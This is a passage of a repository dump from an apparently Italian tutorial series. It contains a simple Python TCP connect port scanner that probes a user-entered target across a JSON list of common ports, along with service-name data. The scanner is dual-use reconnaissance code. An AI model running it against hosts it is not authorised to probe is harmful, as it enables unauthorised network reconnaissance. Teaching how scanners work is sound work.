664 | "10004": "emcrmirccd", 665 | "10009": "swdtp-sv", 666 | "10010": "rxapi", 667 | "11110": "sgi-soap", 668 | "11111": "vce", 669 | "11967": "sysinfo-sp", 670 | "12000": "entextxid", 671 | "12345": "italk", 672 | "13722": "bpjava-msvc", 673 | "13782": "bpcd", 674 | "13783": "vopied", 675 | "14000": "scotty-ft", 676 | "15000": "hydap", 677 | "15002": "onep-tls", 678 | "15660": "bex-xr", 679 | "16000": "fmsas", 680 | "16001": "fmsascon", 681 | "16992": "amt-soap-http", 682 | "16993": "amt-soap-https", 683 | "19283": "keysrvr", 684 | "19315": "keyshadow", 685 | "20000": "dnp", 686 | "20005": "openwebnet", 687 | "20222": "ipulse-ics", 688 | "30000": "ndmps", 689 | "32768": "filenet-tms", 690 | "32769": "filenet-rpc", 691 | "32770": "filenet-nch", 692 | "32771": "filenet-rmi", 693 | "32772": "filenet-pa", 694 | "32773": "filenet-cm", 695 | "32774": "filenet-re", 696 | "32775": "filenet-pch", 697 | "32776": "filenet-peior", 698 | "32777": "filenet-obrok", 699 | "42510": "caerpc" 700 | } -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_2/p_scan.py: -------------------------------------------------------------------------------- 1 | import json 2 | import socket 3 | 4 | OPEN_PORTS = [] 5 | PORTS_DATA_FILE = "./common_ports.json" 6 | 7 | 8 | def extract_json_data(filename): 9 | with open(filename, "r") as file: 10 | data = json.load(file) 11 | return data 12 | 13 | def get_ports_info(): 14 | data = extract_json_data(PORTS_DATA_FILE) 15 | ports_info = {int(k): v for (k, v) in data.items()} 16 | return ports_info 17 | 18 | def get_host_ip_addr(target): 19 | try: 20 | ip_addr = socket.gethostbyname(target) 21 | except socket.gaierror as e: 22 | print(f"C'è stato un errore... {e}") 23 | else: 24 | return ip_addr 25 | 26 | def scan_port(ip, port): 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | sock.settimeout(1.0) 29 | conn_status = sock.connect_ex((ip, port)) 30 | if conn_status == 0: 31 | OPEN_PORTS.append(port) 32 | sock.close() 33 | 34 | 35 | if __name__ == "__main__": 36 | print("Programma scritto per solo scopo educativo!!!") 37 | target = input("Inserire Target: ") 38 | ip_addr = get_host_ip_addr(target) 39 | ports_info = get_ports_info() 40 | 41 | for port in ports_info.keys(): 42 | try: 43 | print(f"Scanning: {ip_addr}:{port}") 44 | scan_port(ip_addr, port) 45 | except KeyboardInterrupt: 46 | print("\nExiting...") 47 | break 48 | 49 | print("Open Ports:") 50 | for port in OPEN_PORTS: 51 | print(str(port), ports_info[port]) 52 | -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_3/common_ports.json: -------------------------------------------------------------------------------- 1 | { 2 | "1": "tcpmux", 3 | "3": "compressnet", 4 | "7": "echo", 5 | "9": "discard", 6 | "13": "daytime", 7 | "17": "qotd", 8 | "19": "chargen", 9 | "20": "ftp-data", 10 | "21": "ftp", 11 | "22": "ssh", 12 | "23": "telnet", 13 | "25": "smtp", 14 | "33": "dsp", 15 | "37": "time", 16 | "42": "nameserver", 17 | "43": "nicname", 18 | "49": "tacacs", 19 | "53": "domain", 20 | "70": "gopher", 21 | "79": "finger", 22 | "80": "www-http", 23 | "82": "xfer", 24 | "83": "mit-ml-dev", 25 | "84": "ctf", 26 | "85": "mit-ml-dev", 27 | "88": "kerberos", 28 | "89": "su-mit-tg", 29 | "90": "dnsix", 30 | "99": "metagram", 31 | "106": "3com-tsmux", 32 | "109": "pop2", 33 | "110": "pop3", 34 | "111": "sunrpc", 35 | "113": "auth", 36 | "119": "nntp", 37 | "125": "locus-map", 38 | "135": "epmap", 39 | "139": "netbios-ssn", 40 | "143": "imap", 41 | "144": "uma", 42 | "146": "iso-tp0", 43 | "161": "snmp", 44 | "163": "cmip-man", 45 | "179": "bgp", 46 | "199": "smux", 47 | "211": "914c/g", 48 | "212": "anet", 49 | "222": "rsh-spx", 50 | "256": "rap", 51 | "259": "esro-gen", 52 | "264": "bgmp", 53 | "280": "http-mgmt", 54 | "311": "asip-webadmin", 55 | "366": "odmr", 56 | "389": "ldap", 57 | "406": "imsp", 58 | "407": "timbuktu", 59 | "416": "silverplatter", 60 | "417": "onmux", 61 | "425": "icad-el", 62 | "427": "svrloc", 63 | "443": "https", 64 | "444": "snpp", 65 | "445": "microsoft-ds", 66 | "458": "appleqtc", 67 | "464": "kpasswd", 68 | "465": "submissions", 69 | "481": "ph", 70 | "497": "retrospect", 71 | "500": "isakmp", 72 | "512": "exec", 73 | "513": "login", 74 | "514": "shell", 75 | "515": "printer", 76 | "524": "ncp", 77 | "541": "uucp-rlogin", 78 | "543": "klogin", 79 | "544": "kshell", 80 | "545": "appleqtcsrvr", 81 | "548": "afpovertcp", 82 | "554": "rtsp", 83 | "555": "dsf", 84 | "563": "nntps", 85 | "587": "submission", 86 | "593": "http-rpc-epmap", 87 | "616": "sco-sysmgr", 88 | "617": "sco-dtmgr", 89 | "625": "dec_dlm", 90 | "631": "ipps", 91 | "636": "ldaps", 92 | "646": "ldp", 93 | "648": "rrp", 94 | "666": "doom", 95 | "667": "disclose", 96 | "668": "mecomm", 97 | "683": "corba-iiop", 98 | "687": "asipregistry", 99 | "691": "msexch-routing", 100 | "700": "epp", 101 | "705": "agentx", 102 | "711": "cisco-tdp", 103 | "714": "iris-xpcs", 104 | "749": "kerberos-adm", 105 | "765": "webster", 106 | "777": "multiling-http", 107 | "800": "mdbs_daemon", 108 | "801": "device", 109 | "873": "rsync", 110 | "888": "cddbp", 111 | "900": "omginitialrefs", 112 | "901": "smpnameres", 113 | "902": "ideafarm-door", 114 | "903": "ideafarm-panic", 115 | "911": "xact-backup", 116 | "912": "apex-mesh", 117 | "990": "ftps", 118 | "992": "telnets", 119 | "993": "imaps", 120 | "995": "pop3s", 121 | "999": "puprouter", 122 | "1000": "cadlock2", 123 | "1001": "webpush", 124 | "1010": "surf", 125 | "1021": "exp1", 126 | "1022": "exp2", 127 | "1025": "blackjack", 128 | "1026": "cap", 129 | "1029": "solid-mux", 130 | "1033": "netinfo-local", 131 | "1034": "activesync", 132 | "1035": "mxxrlogin", 133 | "1036": "nsstp", 134 | "1037": "ams", 135 | "1038": "mtqp", 136 | "1039": "sbl", 137 | "1040": "netarx", 138 | "1041": "danf-ak2", 139 | "1042": "afrog", 140 | "1043": "boinc-client", 141 | "1044": "dcutility", 142 | "1045": "fpitp", 143 | "1046": "wfremotertm", 144 | "1047": "neod1", 145 | "1048": "neod2", 146 | "1049": "td-postman", 147 | "1050": "cma", 148 | "1051": "optima-vnet", 149 | "1052": "ddt", 150 | "1053": "remote-as", 151 | "1054": "brvread", 152 | "1055": "ansyslmd", 153 | "1056": "vfo", 154 | "1057": "startron", 155 | "1058": "nim", 156 | "1059": "nimreg", 157 | "1060": "polestar", 158 | "1061": "kiosk", 159 | "1062": "veracity", 160 | "1063": "kyoceranetdev", 161 | "1064": "jstel", 162 | "1065": "syscomlan", 163 | "1066": "fpo-fns", 164 | "1067": "instl_boots", 165 | "1068": "instl_bootc", 166 | "1069": "cognex-insight", 167 | "1070": "gmrupdateserv", 168 | "1071": "bsquare-voip", 169 | "1072": "cardax", 170 | "1073": "bridgecontrol", 171 | "1074": "warmspotMgmt", 172 | "1075": "rdrmshc", 173 | "1076": "dab-sti-c", 174 | "1077": "imgames", 175 | "1078": "avocent-proxy", 176 | "1079": "asprovatalk", 177 | "1080": "socks", 178 | "1081": "pvuniwien", 179 | "1082": "amt-esd-prot", 180 | "1083": "ansoft-lm-1", 181 | "1084": "ansoft-lm-2", 182 | "1085": "webobjects", 183 | "1086": "cplscrambler-lg", 184 | "1087": "cplscrambler-in", 185 | "1088": "cplscrambler-al", 186 | "1089": "ff-annunc", 187 | "1090": "ff-fms", 188 | "1091": "ff-sm", 189 | "1092": "obrpd", 190 | "1093": "proofd", 191 | "1094": "rootd", 192 | "1095": "nicelink", 193 | "1096": "cnrprotocol", 194 | "1097": "sunclustermgr", 195 | "1098": "rmiactivation", 196 | "1099": "rmiregistry", 197 | "1100": "mctp", 198 | "1102": "adobeserver-1", 199 | "1104": "xrl", 200 | "1105": "ftranhc", 201 | "1106": "isoipsigport-1", 202 | "1107": "isoipsigport-2", 203 | "1108": "ratio-adp", 204 | "1110": "webadmstart", 205 | "1111": "lmsocialserver", 206 | "1112": "icp", 207 | "1113": "ltp-deepspace", 208 | "1114": "mini-sql", 209 | "1117": "ardus-mtrns", 210 | "1119": "bnetgame", 211 | "1121": "rmpp", 212 | "1122": "availant-mgr", 213 | "1123": "murray", 214 | "1124": "hpvmmcontrol", 215 | "1126": "hpvmmdata", 216 | "1130": "casp", 217 | "1131": "caspssl", 218 | "1132": "kvm-via-ip", 219 | "1137": "trim", 220 | "1138": "encrypted_admin", 221 | "1141": "mxomss", 222 | "1145": "x9-icue", 223 | "1147": "capioverlan", 224 | "1148": "elfiq-repl", 225 | "1149": "bvtsonar", 226 | "1151": "unizensus", 227 | "1152": "winpoplanmess", 228 | "1154": "resacommunity", 229 | "1163": "sddp", 230 | "1164": "qsm-proxy", 231 | "1165": "qsm-gui", 232 | "1166": "qsm-remote", 233 | "1169": "tripwire", 234 | "1174": "fnet-remote-ui", 235 | "1175": "dossier", 236 | "1183": "llsurfup-http", 237 | "1185": "catchpole", 238 | "1186": "mysql-cluster", 239 | "1187": "alias", 240 | "1192": "caids-sensor", 241 | "1198": "cajo-discovery", 242 | "1199": "dmidi", 243 | "1201": "nucleus-sand", 244 | "1213": "mpc-lifenet", 245 | "1216": "etebac5", 246 | "1217": "hpss-ndapi", 247 | "1218": "aeroflight-ads", 248 | "1233": "univ-appserver", 249 | "1234": "search-agent", 250 | "1236": "bvcontrol", 251 | "1244": "isbconference1", 252 | "1247": "visionpyramid", 253 | "1248": "hermes", 254 | "1259": "opennl-voice", 255 | "1271": "excw", 256 | "1272": "cspmlockmgr", 257 | "1277": "miva-mqs", 258 | "1287": "routematch", 259 | "1296": "dproxy", 260 | "1300": "h323hostcallsc", 261 | "1309": "jtag-server", 262 | "1310": "husky", 263 | "1311": "rxmon", 264 | "1322": "novation", 265 | "1328": "ewall", 266 | "1334": "writesrv", 267 | "1352": "lotusnote", 268 | "1417": "timbuktu-srv1", 269 | "1433": "ms-sql-s", 270 | "1434": "ms-sql-m", 271 | "1443": "ies-lm", 272 | "1455": "esl-lm", 273 | "1461": "ibm_wrless_lan", 274 | "1494": "ica", 275 | "1500": "vlsi-lm", 276 | "1501": "saiscm", 277 | "1503": "imtc-mcs", 278 | "1521": "ncube-lm", 279 | "1524": "ingreslock", 280 | "1533": "virtual-places", 281 | "1556": "veritas_pbx", 282 | "1580": "tn-tl-r1", 283 | "1583": "simbaexpress", 284 | "1594": "sixtrak", 285 | "1600": "issd", 286 | "1641": "invision", 287 | "1658": "sixnetudr", 288 | "1666": "netview-aix-6", 289 | "1687": "nsjtp-ctrl", 290 | "1688": "nsjtp-data", 291 | "1700": "mps-raft", 292 | "1717": "fj-hdnet", 293 | "1718": "h323gatedisc", 294 | "1719": "h323gatestat", 295 | "1720": "h323hostcall", 296 | "1721": "caicci", 297 | "1723": "pptp", 298 | "1755": "ms-streaming", 299 | "1761": "cft-0", 300 | "1782": "hp-hcip", 301 | "1801": "msmq", 302 | "1805": "enl-name", 303 | "1812": "radius", 304 | "1839": "netopia-vo1", 305 | "1840": "netopia-vo2", 306 | "1862": "mysql-cm-agent", 307 | "1863": "msnp", 308 | "1864": "paradym-31port", 309 | "1875": "westell-stats", 310 | "1900": "ssdp", 311 | "1914": "elm-momentum", 312 | "1935": "macromedia-fcs", 313 | "1947": "sentinelsrm", 314 | "1971": "netop-school", 315 | "1972": "intersys-cache", 316 | "1974": "drp", 317 | "1984": "bb", 318 | "1998": "x25-svc-port", 319 | "1999": "tcp-id-port", 320 | "2000": "cisco-sccp", 321 | "2001": "dc", 322 | "2002": "globe", 323 | "2003": "brutus", 324 | "2004": "mailbox", 325 | "2005": "berknet", 326 | "2006": "invokator", 327 | "2007": "dectalk", 328 | "2008": "conf", 329 | "2009": "news", 330 | "2010": "search", 331 | "2013": "raid-am", 332 | "2020": "xinupageserver", 333 | "2021": "servexec", 334 | "2022": "down", 335 | "2030": "device2", 336 | "2033": "glogger", 337 | "2034": "scoremgr", 338 | "2035": "imsldoc", 339 | "2038": "objectmanager", 340 | "2040": "lam", 341 | "2041": "interbase", 342 | "2042": "isis", 343 | "2043": "isis-bcast", 344 | "2045": "cdfunc", 345 | "2046": "sdfunc", 346 | "2047": "dls", 347 | "2048": "dls-monitor", 348 | "2049": "nfs", 349 | "2065": "dlsrpn", 350 | "2068": "avauthsrvprtcl", 351 | "2099": "h2250-annex-g", 352 | "2100": "amiganetfs", 353 | "2103": "zephyr-clt", 354 | "2105": "minipay", 355 | "2106": "mzap", 356 | "2107": "bintec-admin", 357 | "2111": "dsatp", 358 | "2119": "gsigatekeeper", 359 | "2121": "scientia-ssdb", 360 | "2126": "pktcable-cops", 361 | "2135": "gris", 362 | "2144": "lv-ffx", 363 | "2160": "apc-2160", 364 | "2161": "apc-2161", 365 | "2170": "eyetv", 366 | "2179": "vmrdp", 367 | "2190": "tivoconnect", 368 | "2191": "tvbus", 369 | "2222": "EtherNet/IP-1", 370 | "2251": "dif-port", 371 | "2260": "apc-2260", 372 | "2288": "netml", 373 | "2301": "cpq-wbem", 374 | "2323": "3d-nfsd", 375 | "2366": "qip-login", 376 | "2381": "compaq-https", 377 | "2382": "ms-olap3", 378 | "2383": "ms-olap4", 379 | "2393": "ms-olap1", 380 | "2394": "ms-olap2", 381 | "2399": "fmpro-fdal", 382 | "2401": "cvspserver", 383 | "2492": "groove", 384 | "2500": "rtsserv", 385 | "2522": "windb", 386 | "2525": "ms-v-worlds", 387 | "2557": "nicetec-mgmt", 388 | "2601": "discp-client", 389 | "2602": "discp-server", 390 | "2604": "nsc-ccs", 391 | "2605": "nsc-posa", 392 | "2607": "connection", 393 | "2608": "wag-service", 394 | "2638": "sybaseanywhere", 395 | "2701": "sms-rcinfo", 396 | "2702": "sms-xfer", 397 | "2710": "sso-service", 398 | "2717": "pn-requester", 399 | "2718": "pn-requester2", 400 | "2725": "msolap-ptp2", 401 | "2800": "acc-raid", 402 | "2809": "corbaloc", 403 | "2811": "gsiftp", 404 | "2869": "icslap", 405 | "2875": "dxmessagebase2", 406 | "2909": "funk-dialout", 407 | "2910": "tdaccess", 408 | "2920": "roboeda", 409 | "2967": "ssc-agent", 410 | "2968": "enpp", 411 | "2998": "realsecure", 412 | "3000": "remoteware-cl", 413 | "3001": "origo-native", 414 | "3003": "cgms", 415 | "3005": "geniuslm", 416 | "3006": "ii-admin", 417 | "3007": "lotusmtap", 418 | "3011": "trusted-web", 419 | "3013": "gilatskysurfer", 420 | "3017": "event_listener", 421 | "3030": "arepa-cas", 422 | "3031": "eppc", 423 | "3052": "apc-3052", 424 | "3071": "xplat-replicate", 425 | "3077": "orbix-loc-ssl", 426 | "3128": "ndl-aas", 427 | "3168": "poweronnud", 428 | "3211": "avsecuremgmt", 429 | "3221": "xnm-clear-text", 430 | "3260": "iscsi-target", 431 | "3261": "winshadow", 432 | "3268": "msft-gc", 433 | "3269": "msft-gc-ssl", 434 | "3283": "Apple Remote Desktop (Net Assistant)", 435 | "3300": "ceph", 436 | "3306": "mysql", 437 | "3333": "dec-notes", 438 | "3351": "btrieve", 439 | "3372": "tip2", 440 | "3389": "ms-wbt-server", 441 | "3390": "dsc", 442 | "3476": "nppmp", 443 | "3493": "nut", 444 | "3517": "802-11-iapp", 445 | "3527": "beserver-msg-q", 446 | "3551": "apcupsd", 447 | "3580": "nati-svrloc", 448 | "3659": "apple-sasl", 449 | "3689": "daap", 450 | "3690": "svn", 451 | "3703": "adobeserver-3", 452 | "3737": "xpanel", 453 | "3766": "sitewatch-s", 454 | "3784": "bfd-control", 455 | "3800": "pwgpsi", 456 | "3801": "ibm-mgr", 457 | "3809": "apocd", 458 | "3814": "neto-dcs", 459 | "3826": "warmux", 460 | "3827": "netmpi", 461 | "3828": "neteh", 462 | "3851": "spectraport", 463 | "3869": "ovsam-mgmt", 464 | "3871": "avocent-adsap", 465 | "3878": "fotogcad", 466 | "3880": "igrs", 467 | "3889": "dandv-tester", 468 | "3905": "mupdate", 469 | "3914": "listcrt-port-2", 470 | "3918": "pktcablemmcops", 471 | "3920": "exasoftport1", 472 | "3945": "emcads", 473 | "3971": "lanrevserver", 474 | "3986": "mapper-ws_ethd", 475 | "3995": "iss-mgmt-ssl", 476 | "3998": "dnx", 477 | "4000": "terabase", 478 | "4001": "newoak", 479 | "4002": "pxc-spvr-ft", 480 | "4003": "pxc-splr-ft", 481 | "4004": "pxc-roid", 482 | "4005": "pxc-pin", 483 | "4006": "pxc-spvr", 484 | "4045": "npp", 485 | "4111": "xgrid", 486 | "4125": "opsview-envoy", 487 | "4126": "ddrepl", 488 | "4129": "nuauth", 489 | "4321": "rwhois", 490 | "4343": "unicall", 491 | "4443": "pharos", 492 | "4444": "nv-video", 493 | "4445": "upnotifyp", 494 | "4446": "n1-fwp", 495 | "4449": "privatewire", 496 | "4550": "gds-adppiw-db", 497 | "4567": "tram", 498 | "4662": "oms", 499 | "4848": "appserv-http", 500 | "4899": "radmin-port", 501 | "4900": "hfcs", 502 | "5000": "commplex-main", 503 | "5001": "commplex-link", 504 | "5002": "rfe", 505 | "5003": "fmpro-internal", 506 | "5004": "avt-profile-1", 507 | "5009": "winfs", 508 | "5030": "surfpass", 509 | "5033": "jtnetd-server", 510 | "5050": "mmcc", 511 | "5051": "ita-agent", 512 | "5054": "rlm-admin", 513 | "5060": "sip", 514 | "5061": "sips", 515 | "5080": "onscreen", 516 | "5087": "biotic", 517 | "5100": "socalia", 518 | "5101": "talarian-tcp", 519 | "5102": "oms-nonsecure", 520 | "5120": "barracuda-bbs", 521 | "5190": "aol", 522 | "5200": "targus-getdata", 523 | "5221": "3exmp", 524 | "5222": "xmpp-client", 525 | "5225": "hp-server", 526 | "5226": "hp-status", 527 | "5269": "xmpp-server", 528 | "5280": "xmpp-bosh", 529 | "5298": "presence", 530 | "5357": "wsdapi", 531 | "5405": "netsupport", 532 | "5414": "statusd", 533 | "5431": "park-agent", 534 | "5432": "postgresql", 535 | "5500": "fcp-addr-srvr1", 536 | "5550": "cbus", 537 | "5555": "personal-agent", 538 | "5566": "westec-connect", 539 | "5631": "pcanywheredata", 540 | "5633": "beorl", 541 | "5666": "nrpe", 542 | "5678": "rrac", 543 | "5679": "dccm", 544 | "5718": "dpm", 545 | "5730": "unieng", 546 | "5859": "wherehoo", 547 | "5900": "rfb", 548 | "5910": "cm", 549 | "5911": "cpdlc", 550 | "5963": "indy", 551 | "5987": "wbem-rmi", 552 | "5988": "wbem-http", 553 | "5989": "wbem-https", 554 | "5999": "cvsup", 555 | "6000": "x11", 556 | "6100": "synchronet-db", 557 | "6101": "synchronet-rtc", 558 | "6106": "mpsserver", 559 | "6112": "dtspcd", 560 | "6123": "backup-express", 561 | "6346": "gnutella-svc", 562 | "6389": "clariion-evr01", 563 | "6502": "boks_servm", 564 | "6510": "mcer-port", 565 | "6543": "lds-distrib", 566 | "6547": "apc-6547", 567 | "6566": "sane-port", 568 | "6580": "parsec-master", 569 | "6669": "ircu", 570 | "6689": "tsa", 571 | "6788": "smc-http", 572 | "6789": "radg", 573 | "6901": "jetstream", 574 | "6969": "acmsoda", 575 | "7000": "afs3-fileserver", 576 | "7001": "afs3-callback", 577 | "7002": "afs3-prserver", 578 | "7004": "afs3-kaserver", 579 | "7007": "afs3-bos", 580 | "7019": "doceri-ctl", 581 | "7025": "vmsvc-2", 582 | "7070": "arcp", 583 | "7100": "font-service", 584 | "7200": "fodms", 585 | "7201": "dlip", 586 | "7402": "rtps-dd-mt", 587 | "7443": "oracleas-https", 588 | "7627": "soap-http", 589 | "7676": "imqbrokerd", 590 | "7741": "scriptview", 591 | "7777": "cbt", 592 | "7778": "interwise", 593 | "7800": "asr", 594 | "7999": "irdmi2", 595 | "8000": "irdmi", 596 | "8001": "vcom-tunnel", 597 | "8002": "teradataordbms", 598 | "8007": "warppipe", 599 | "8008": "http-alt", 600 | "8009": "nvme-disc", 601 | "8021": "intu-ec-client", 602 | "8022": "oa-system", 603 | "8042": "fs-agent", 604 | "8080": "http-alt", 605 | "8081": "sunproxyadmin", 606 | "8082": "us-cli", 607 | "8083": "us-srv", 608 | "8084": "websnp", 609 | "8086": "d-s-n", 610 | "8087": "simplifymedia", 611 | "8088": "radan-http", 612 | "8090": "opsmessaging", 613 | "8100": "xprint-server", 614 | "8181": "intermapper", 615 | "8192": "spytechphone", 616 | "8194": "blp1", 617 | "8200": "trivnet1", 618 | "8292": "blp3", 619 | "8300": "tmi", 620 | "8383": "m2mservices", 621 | "8400": "cvd", 622 | "8402": "abarsd", 623 | "8443": "pcsync-https", 624 | "8500": "fmtp", 625 | "8600": "asterix", 626 | "8800": "sunwebadmin", 627 | "8873": "dxspider", 628 | "8888": "ddi-tcp-1", 629 | "8899": "ospf-lite", 630 | "9000": "cslistener", 631 | "9001": "etlservicemgr", 632 | "9002": "dynamid", 633 | "9009": "pichat", 634 | "9010": "sdr", 635 | "9050": "versiera", 636 | "9080": "glrpc", 637 | "9090": "websm", 638 | "9091": "xmltec-xmlmail", 639 | "9100": "pdl-datastream", 640 | "9101": "bacula-dir", 641 | "9102": "bacula-fd", 642 | "9103": "bacula-sd", 643 | "9111": "hexxorecore", 644 | "9200": "wap-wsp", 645 | "9207": "wap-vcal-s", 646 | "9418": "git", 647 | "9500": "ismserver", 648 | "9535": "mngsuite", 649 | "9593": "cba8", 650 | "9594": "msgsys", 651 | "9595": "pds", 652 | "9618": "condor", 653 | "9666": "zoomcp", 654 | "9876": "sd", 655 | "9877": "x510", 656 | "9898": "monkeycom", 657 | "9900": "iua", 658 | "9998": "distinct32", 659 | "9999": "distinct", 660 | "10000": "ndmp", 661 | "10001": "scp-config", 662 | "10002": "documentum", 663 | "10003": "documentum_s", 664 | "10004": "emcrmirccd", 665 | "10009": "swdtp-sv", 666 | "10010": "rxapi", 667 | "11110": "sgi-soap", 668 | "11111": "vce", 669 | "11967": "sysinfo-sp", 670 | "12000": "entextxid", 671 | "12345": "italk", 672 | "13722": "bpjava-msvc", 673 | "13782": "bpcd", 674 | "13783": "vopied", 675 | "14000": "scotty-ft", 676 | "15000": "hydap", 677 | "15002": "onep-tls", 678 | "15660": "bex-xr", 679 | "16000": "fmsas", 680 | "16001": "fmsascon", 681 | "16992": "amt-soap-http", 682 | "16993": "amt-soap-https", 683 | "19283": "keysrvr", 684 | "19315": "keyshadow", 685 | "20000": "dnp", 686 | "20005": "openwebnet", 687 | "20222": "ipulse-ics", 688 | "30000": "ndmps", 689 | "32768": "filenet-tms", 690 | "32769": "filenet-rpc", 691 | "32770": "filenet-nch", 692 | "32771": "filenet-rmi", 693 | "32772": "filenet-pa", 694 | "32773": "filenet-cm", 695 | "32774": "filenet-re", 696 | "32775": "filenet-pch", 697 | "32776": "filenet-peior", 698 | "32777": "filenet-obrok", 699 | "42510": "caerpc" 700 | } -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_3/p_scan.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | from utils import extract_json_data 4 | 5 | 6 | class PScan: 7 | 8 | PORTS_DATA_FILE = "./common_ports.json" 9 | 10 | def __init__(self): 11 | self.open_ports = [] 12 | self.ports_info = {} 13 | self.remote_host = "" 14 | 15 | def get_ports_info(self): 16 | data = extract_json_data(PScan.PORTS_DATA_FILE) 17 | self.ports_info = {int(k): v for (k, v) in data.items()} 18 | 19 | @staticmethod 20 | def get_host_ip_addr(target): 21 | try: 22 | ip_addr = socket.gethostbyname(target) 23 | except socket.gaierror as e: 24 | print(f"C'è stato un errore... {e}") 25 | else: 26 | return ip_addr 27 | 28 | def scan_port(self, port): 29 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | sock.settimeout(1.0) 31 | conn_status = sock.connect_ex((self.remote_host, port)) 32 | if conn_status == 0: 33 | self.open_ports.append(port) 34 | sock.close() 35 | 36 | def run(self): 37 | print("Programma scritto per solo scopo educativo!!!") 38 | target = input("Inserire Target: ") 39 | self.remote_host = self.get_host_ip_addr(target) 40 | self.get_ports_info() 41 | 42 | for port in self.ports_info.keys(): 43 | try: 44 | print(f"Scanning: {self.remote_host}:{port}") 45 | self.scan_port(port) 46 | except KeyboardInterrupt: 47 | print("\nExiting...") 48 | break 49 | 50 | print("Open Ports:") 51 | for port in self.open_ports: 52 | print(str(port), self.ports_info[port]) 53 | 54 | 55 | if __name__ == "__main__": 56 | pscan = PScan() 57 | pscan.run() 58 | -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_3/utils.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | def extract_json_data(filename): 4 | with open(filename, "r") as file: 5 | data = json.load(file) 6 | return data -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_4/common_ports.json: -------------------------------------------------------------------------------- 1 | { 2 | "1": "tcpmux", 3 | "3": "compressnet", 4 | "7": "echo", 5 | "9": "discard", 6 | "13": "daytime", 7 | "17": "qotd", 8 | "19": "chargen", 9 | "20": "ftp-data", 10 | "21": "ftp", 11 | "22": "ssh", 12 | "23": "telnet", 13 | "25": "smtp", 14 | "33": "dsp", 15 | "37": "time", 16 | "42": "nameserver", 17 | "43": "nicname", 18 | "49": "tacacs", 19 | "53": "domain", 20 | "70": "gopher", 21 | "79": "finger", 22 | "80": "www-http", 23 | "82": "xfer", 24 | "83": "mit-ml-dev", 25 | "84": "ctf", 26 | "85": "mit-ml-dev", 27 | "88": "kerberos", 28 | "89": "su-mit-tg", 29 | "90": "dnsix", 30 | "99": "metagram", 31 | "106": "3com-tsmux", 32 | "109": "pop2", 33 | "110": "pop3", 34 | "111": "sunrpc", 35 | "113": "auth", 36 | "119": "nntp", 37 | "125": "locus-map", 38 | "135": "epmap", 39 | "139": "netbios-ssn", 40 | "143": "imap", 41 | "144": "uma", 42 | "146": "iso-tp0", 43 | "161": "snmp", 44 | "163": "cmip-man", 45 | "179": "bgp", 46 | "199": "smux", 47 | "211": "914c/g", 48 | "212": "anet", 49 | "222": "rsh-spx", 50 | "256": "rap", 51 | "259": "esro-gen", 52 | "264": "bgmp", 53 | "280": "http-mgmt", 54 | "311": "asip-webadmin", 55 | "366": "odmr", 56 | "389": "ldap", 57 | "406": "imsp", 58 | "407": "timbuktu", 59 | "416": "silverplatter", 60 | "417": "onmux", 61 | "425": "icad-el", 62 | "427": "svrloc", 63 | "443": "https", 64 | "444": "snpp", 65 | "445": "microsoft-ds", 66 | "458": "appleqtc", 67 | "464": "kpasswd", 68 | "465": "submissions", 69 | "481": "ph", 70 | "497": "retrospect", 71 | "500": "isakmp", 72 | "512": "exec", 73 | "513": "login", 74 | "514": "shell", 75 | "515": "printer", 76 | "524": "ncp", 77 | "541": "uucp-rlogin", 78 | "543": "klogin", 79 | "544": "kshell", 80 | "545": "appleqtcsrvr", 81 | "548": "afpovertcp", 82 | "554": "rtsp", 83 | "555": "dsf", 84 | "563": "nntps", 85 | "587": "submission", 86 | "593": "http-rpc-epmap", 87 | "616": "sco-sysmgr", 88 | "617": "sco-dtmgr", 89 | "625": "dec_dlm", 90 | "631": "ipps", 91 | "636": "ldaps", 92 | "646": "ldp", 93 | "648": "rrp", 94 | "666": "doom", 95 | "667": "disclose", 96 | "668": "mecomm", 97 | "683": "corba-iiop", 98 | "687": "asipregistry", 99 | "691": "msexch-routing", 100 | "700": "epp", 101 | "705": "agentx", 102 | "711": "cisco-tdp", 103 | "714": "iris-xpcs", 104 | "749": "kerberos-adm", 105 | "765": "webster", 106 | "777": "multiling-http", 107 | "800": "mdbs_daemon", 108 | "801": "device", 109 | "873": "rsync", 110 | "888": "cddbp", 111 | "900": "omginitialrefs", 112 | "901": "smpnameres", 113 | "902": "ideafarm-door", 114 | "903": "ideafarm-panic", 115 | "911": "xact-backup", 116 | "912": "apex-mesh", 117 | "990": "ftps", 118 | "992": "telnets", 119 | "993": "imaps", 120 | "995": "pop3s", 121 | "999": "puprouter", 122 | "1000": "cadlock2", 123 | "1001": "webpush", 124 | "1010": "surf", 125 | "1021": "exp1", 126 | "1022": "exp2", 127 | "1025": "blackjack", 128 | "1026": "cap", 129 | "1029": "solid-mux", 130 | "1033": "netinfo-local", 131 | "1034": "activesync", 132 | "1035": "mxxrlogin", 133 | "1036": "nsstp", 134 | "1037": "ams", 135 | "1038": "mtqp", 136 | "1039": "sbl", 137 | "1040": "netarx", 138 | "1041": "danf-ak2", 139 | "1042": "afrog", 140 | "1043": "boinc-client", 141 | "1044": "dcutility", 142 | "1045": "fpitp", 143 | "1046": "wfremotertm", 144 | "1047": "neod1", 145 | "1048": "neod2", 146 | "1049": "td-postman", 147 | "1050": "cma", 148 | "1051": "optima-vnet", 149 | "1052": "ddt", 150 | "1053": "remote-as", 151 | "1054": "brvread", 152 | "1055": "ansyslmd", 153 | "1056": "vfo", 154 | "1057": "startron", 155 | "1058": "nim", 156 | "1059": "nimreg", 157 | "1060": "polestar", 158 | "1061": "kiosk", 159 | "1062": "veracity", 160 | "1063": "kyoceranetdev", 161 | "1064": "jstel", 162 | "1065": "syscomlan", 163 | "1066": "fpo-fns", 164 | "1067": "instl_boots", 165 | "1068": "instl_bootc", 166 | "1069": "cognex-insight", 167 | "1070": "gmrupdateserv", 168 | "1071": "bsquare-voip", 169 | "1072": "cardax", 170 | "1073": "bridgecontrol", 171 | "1074": "warmspotMgmt", 172 | "1075": "rdrmshc", 173 | "1076": "dab-sti-c", 174 | "1077": "imgames", 175 | "1078": "avocent-proxy", 176 | "1079": "asprovatalk", 177 | "1080": "socks", 178 | "1081": "pvuniwien", 179 | 